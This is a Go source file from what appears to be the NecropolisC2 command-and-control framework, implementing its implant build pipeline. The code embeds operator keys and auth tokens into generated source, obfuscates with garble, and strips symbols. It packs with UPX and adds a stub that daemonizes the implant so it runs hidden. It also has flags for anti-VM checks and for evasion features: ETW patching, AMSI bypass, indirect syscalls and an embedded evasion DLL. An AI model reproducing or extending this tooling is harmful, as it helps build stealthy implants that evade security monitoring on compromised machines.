Files
2026-07-07 04:50:23 +01:00

420 lines
13 KiB
Go

// Implant build pipeline. Generates fresh implant keys, embeds operator credentials,
// cross-compiles via Go or garble, and optionally compresses with UPX.
package core
import (
"archive/tar"
"bytes"
"compress/gzip"
"crypto/rand"
"flag"
"fmt"
"io"
"log"
"os"
"os/exec"
"path/filepath"
"strings"
"github.com/libp2p/go-libp2p/core/crypto"
"github.com/libp2p/go-libp2p/core/peer"
"github.com/Yenn503/NecropolisC2/server/core/embedsrc"
)
// GenerateConfig holds the CLI flags controlling the implant build: target OS/arch,
// obfuscation, compression, quiet mode, anti-VM tags, and evasion DLL embedding.
type GenerateConfig struct {
PubKeyPath string
OutputPath string
TargetOS string
TargetArch string
UseUPX bool
Obfuscate bool
Quiet bool
Antivm bool
Evasion bool
}
// RunGenerate parses CLI flags from args and triggers the full implant build pipeline.
func RunGenerate(args []string) error {
cfg := GenerateConfig{
PubKeyPath: defaultPubKeyPath(),
OutputPath: "necropolis-implant",
TargetOS: "linux",
TargetArch: "amd64",
}
fs := flag.NewFlagSet("generate", flag.ExitOnError)
fs.StringVar(&cfg.PubKeyPath, "pubkey", cfg.PubKeyPath, "path to operator public key")
fs.StringVar(&cfg.OutputPath, "output", cfg.OutputPath, "output path for the implant binary")
fs.StringVar(&cfg.TargetOS, "os", cfg.TargetOS, "target OS (linux, darwin, windows)")
fs.StringVar(&cfg.TargetArch, "arch", cfg.TargetArch, "target architecture (amd64, arm64)")
fs.BoolVar(&cfg.UseUPX, "upx", false, "compress with UPX (off by default — UPX+Go = YARA signature)")
fs.BoolVar(&cfg.Obfuscate, "obfuscate", false, "obfuscate the implant with garble (auto-installs if missing)")
fs.BoolVar(&cfg.Quiet, "quiet", false, "suppress output and run in background (no console on Windows)")
fs.BoolVar(&cfg.Antivm, "antivm", false, "enable VM detection (pure Go, no CGO required — 65+ techniques, VMAware-compatible scoring)")
fs.BoolVar(&cfg.Evasion, "evasion", false, "enable kernel evasion (ETW patch, AMSI bypass, indirect syscalls)")
fs.Parse(args)
return BuildImplant(cfg)
}
// BuildImplant reads the operator's public key and box key, generates a fresh implant
// Ed25519 key, prepares a build directory with embedded credentials, cross-compiles
// (optionally through garble), optionally strips symbols and compresses with UPX.
func BuildImplant(cfg GenerateConfig) error {
pubData, err := os.ReadFile(cfg.PubKeyPath)
if err != nil {
return fmt.Errorf("read pubkey %s: %w", cfg.PubKeyPath, err)
}
necropolisDir := filepath.Dir(cfg.PubKeyPath)
boxPubData, _ := os.ReadFile(filepath.Join(necropolisDir, "operator.boxpub"))
if len(boxPubData) != 32 {
return fmt.Errorf("read box pubkey (operator.boxpub): operator must run once to generate box keypair")
}
authTokenData, err := os.ReadFile(filepath.Join(necropolisDir, "operator.authtoken"))
if err != nil || len(authTokenData) != 32 {
return fmt.Errorf("read auth token (operator.authtoken): operator must run once to generate auth token")
}
log.Printf("[+] generating implant keypair...")
implantPriv, implantPub, err := crypto.GenerateEd25519Key(rand.Reader)
if err != nil {
return fmt.Errorf("generate implant key: %w", err)
}
privBytes, err := crypto.MarshalPrivateKey(implantPriv)
if err != nil {
return fmt.Errorf("marshal implant private key: %w", err)
}
implantPeerID, _ := peer.IDFromPublicKey(implantPub)
log.Printf("[*] PeerID: %s", implantPeerID.String())
log.Printf("[+] embedding credentials...")
buildDir, err := prepareBuildDir(pubData, boxPubData, privBytes, authTokenData, cfg.Quiet)
if err != nil {
return fmt.Errorf("prepare build directory: %w", err)
}
defer os.RemoveAll(buildDir)
outPath := cfg.OutputPath
if !filepath.IsAbs(outPath) {
wd, _ := os.Getwd()
outPath = filepath.Join(wd, outPath)
}
if cfg.TargetOS == "windows" && !strings.HasSuffix(outPath, ".exe") {
outPath += ".exe"
}
_, err = ensureGo()
if err != nil {
return fmt.Errorf("go not available: %w", err)
}
goBin := findGo()
ldflags := "-s -w -buildid="
if cfg.Quiet && cfg.TargetOS == "windows" {
ldflags += " -H=windowsgui"
}
var builder string
var buildArgs []string
buildPath := os.Getenv("PATH")
if cfg.Obfuscate {
garble, err := ensureGarble(goBin)
if err != nil {
return fmt.Errorf("garble not available: %w", err)
}
if _, err := exec.LookPath("git"); err != nil {
log.Print("git not found. Attempting to install...")
gitBin, err := installGit()
if err != nil {
return fmt.Errorf("garble requires git to patch the Go linker, install git manually or set up PATH: %w", err)
}
gitDir := filepath.Dir(gitBin)
if !strings.Contains(buildPath, gitDir) {
buildPath = gitDir + string(os.PathListSeparator) + buildPath
}
}
builder = garble
buildArgs = []string{"-literals", "-tiny", "build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
// build from project root so GOGARBLE scopes to our packages.
// Temp dir breaks import path resolution needed for obfuscation filtering.
wd, _ := os.Getwd()
restore := backupStubs(filepath.Join("implant", "core"))
defer restore()
writeEmbeddedCreds(filepath.Join("implant", "core"), pubData, boxPubData, privBytes, authTokenData)
buildDir = wd
log.Printf("[+] obfuscation: garble -literals -tiny")
} else {
builder = goBin
buildArgs = []string{"build", "-trimpath", "-buildvcs=false", "-o", outPath, "-ldflags=" + ldflags}
}
if cfg.Antivm {
buildArgs = append(buildArgs, "-tags=antivm")
}
if cfg.Evasion {
buildArgs = append(buildArgs, "-tags=evasion")
log.Printf("[+] Ninja: FreshyCalls + HAL's Gate, indirect syscalls, module stomping, AMSI HWBP, ETW 3-tier, CFG-aware callback removal, sleep obfuscation, yk the vibes.")
log.Printf("[+] embedding my lillll ahh valak.dll ;)")
}
buildArgs = append(buildArgs, "./implant/")
cmd := exec.Command(builder, buildArgs...)
goDir := filepath.Dir(goBin)
if !strings.Contains(buildPath, goDir) {
buildPath = goDir + string(os.PathListSeparator) + buildPath
}
env := []string{
"GOOS=" + cfg.TargetOS,
"GOARCH=" + cfg.TargetArch,
"CGO_ENABLED=0",
"PATH=" + buildPath,
"GOGARBLE=github.com/Yenn503/NecropolisC2/*",
}
cmd.Env = append(os.Environ(), env...)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
cmd.Dir = buildDir
log.Printf("[*] compiling %s/%s...", cfg.TargetOS, cfg.TargetArch)
if err := cmd.Run(); err != nil {
return fmt.Errorf("build: %w", err)
}
if fi, err := os.Stat(outPath); err == nil {
log.Printf("[+] %s (%d bytes)", outPath, fi.Size())
}
// strip for Linux/macOS to remove any remaining symbol tables
if cfg.TargetOS == "linux" || cfg.TargetOS == "darwin" {
stripCmd := exec.Command("strip", "-s", outPath)
_ = stripCmd.Run()
}
if cfg.UseUPX {
if upxPath, err := exec.LookPath("upx"); err == nil {
log.Printf("applying UPX compression...")
upx := exec.Command(upxPath, "--lzma", "--compress-exports=0", outPath)
upx.Stdout = os.Stdout
upx.Stderr = os.Stderr
if err := upx.Run(); err != nil {
log.Printf("upx compression skipped: %v", err)
}
} else {
log.Printf("upx not found, skipping compression")
}
}
return nil
}
// prepareBuildDir creates a temp directory with the implant source, embedded operator
// credentials (pubkey, box pubkey, implant privkey, auth token), and optional quiet stub.
func prepareBuildDir(pubKeyData, boxPubKeyData, privKeyData, authTokenData []byte, quiet bool) (string, error) {
dir, err := os.MkdirTemp("", "necropolis-build-*")
if err != nil {
return "", fmt.Errorf("create temp dir: %w", err)
}
pubLiteral := bytesLiteral(pubKeyData)
boxPubLiteral := bytesLiteral(boxPubKeyData)
privLiteral := bytesLiteral(privKeyData)
authLiteral := bytesLiteral(authTokenData)
pubContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedOperatorPubKey = %s
`, pubLiteral)
boxPubContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedOperatorBoxPubKey = %s
`, boxPubLiteral)
keyContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedImplantPrivKey = %s
`, privLiteral)
authContent := fmt.Sprintf(`// Code generated by necropolis generate. DO NOT EDIT.
package core
var embeddedAuthToken = %s
`, authLiteral)
if err := extractEmbeddedSource(dir); err != nil {
return "", err
}
// Rename go.mod.txt/go.sum.txt back to real names
os.Rename(filepath.Join(dir, "go.mod.txt"), filepath.Join(dir, "go.mod"))
os.Rename(filepath.Join(dir, "go.sum.txt"), filepath.Join(dir, "go.sum"))
coreDir := filepath.Join(dir, "implant", "core")
if err := os.WriteFile(filepath.Join(coreDir, "embedded_pubkey.go"), []byte(pubContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_pubkey.go: %w", err)
}
if err := os.WriteFile(filepath.Join(coreDir, "embedded_boxpubkey.go"), []byte(boxPubContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_boxpubkey.go: %w", err)
}
if err := os.WriteFile(filepath.Join(coreDir, "embedded_implant_key.go"), []byte(keyContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_implant_key.go: %w", err)
}
if err := os.WriteFile(filepath.Join(coreDir, "embedded_authtoken.go"), []byte(authContent), 0644); err != nil {
return "", fmt.Errorf("write embedded_authtoken.go: %w", err)
}
if quiet {
if err := writeQuietStub(coreDir); err != nil {
return "", fmt.Errorf("write quiet stub: %w", err)
}
}
return dir, nil
}
// writeQuietStub generates a Go init() that detaches from the terminal and daemonizes
// the process (non-Windows only).
func writeQuietStub(coreDir string) error {
quietContent := `//go:build !windows
package core
import (
"os"
"syscall"
)
func init() {
if os.Getenv("_NECROPOLIS_DAEMON") == "1" {
return
}
f, err := os.OpenFile("/dev/null", os.O_RDWR, 0)
if err != nil {
os.Exit(1)
}
attr := &os.ProcAttr{
Files: []*os.File{f, f, f},
Env: append(os.Environ(), "_NECROPOLIS_DAEMON=1"),
Sys: &syscall.SysProcAttr{Setsid: true},
}
proc, err := os.StartProcess(os.Args[0], os.Args, attr)
if err != nil {
os.Exit(1)
}
proc.Release()
os.Exit(0)
}
`
return os.WriteFile(filepath.Join(coreDir, "quiet.go"), []byte(quietContent), 0644)
}
// extractEmbeddedSource unpacks the gzipped tar archive of implant source into dst.
func extractEmbeddedSource(dst string) error {
gz, err := gzip.NewReader(bytes.NewReader(embedsrc.ImplantSourceArchive))
if err != nil {
return fmt.Errorf("gzip reader: %w", err)
}
defer gz.Close()
tr := tar.NewReader(gz)
for {
hdr, err := tr.Next()
if err == io.EOF {
break
}
if err != nil {
return fmt.Errorf("tar next: %w", err)
}
target := filepath.Join(dst, hdr.Name)
switch hdr.Typeflag {
case tar.TypeDir:
if err := os.MkdirAll(target, 0755); err != nil {
return err
}
case tar.TypeReg:
if err := os.MkdirAll(filepath.Dir(target), 0755); err != nil {
return err
}
f, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode))
if err != nil {
return err
}
if _, err := io.Copy(f, tr); err != nil {
f.Close()
return err
}
f.Close()
}
}
return nil
}
// defaultPubKeyPath returns ~/.necropolis/operator.pub.
func defaultPubKeyPath() string {
home, err := os.UserHomeDir()
if err != nil {
return "operator.pub"
}
return filepath.Join(home, ".necropolis", "operator.pub")
}
// ensureGarble checks for the garble obfuscator; if missing, installs it via go install
// and searches GOPATH/bin as a fallback.
func ensureGarble(goBin string) (string, error) {
if p, err := exec.LookPath("garble"); err == nil {
return p, nil
}
log.Print("garble not found. Installing via 'go install mvdan.cc/garble@v0.12.1'...")
cmd := exec.Command(goBin, "install", "mvdan.cc/garble@v0.12.1")
cmd.Env = append(os.Environ(), "PATH="+filepath.Dir(goBin)+string(os.PathListSeparator)+os.Getenv("PATH"))
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return "", fmt.Errorf("install garble: %w", err)
}
if p, err := exec.LookPath("garble"); err == nil {
return p, nil
}
// go install puts binaries in GOPATH/bin — check each entry
gopathOut, _ := exec.Command(goBin, "env", "GOPATH").Output()
gopath := strings.TrimSpace(string(gopathOut))
if gopath != "" {
for _, p := range filepath.SplitList(gopath) {
for _, name := range []string{"garble", "garble.exe"} {
candidate := filepath.Join(p, "bin", name)
if fileExists(candidate) {
log.Print("garble installed")
return candidate, nil
}
}
}
}
return "", fmt.Errorf("garble installed but not found in PATH or GOPATH/bin")
}
// fileExists returns true if the path exists on disk.
func fileExists(path string) bool {
_, err := os.Stat(path)
return err == nil
}
// bytesLiteral formats a byte slice as a Go source literal like "[]byte{1,2,3}".
func bytesLiteral(data []byte) string {
var parts []string
for _, b := range data {
parts = append(parts, fmt.Sprintf("%d", b))
}
return "[]byte{" + strings.Join(parts, ",") + "}"
}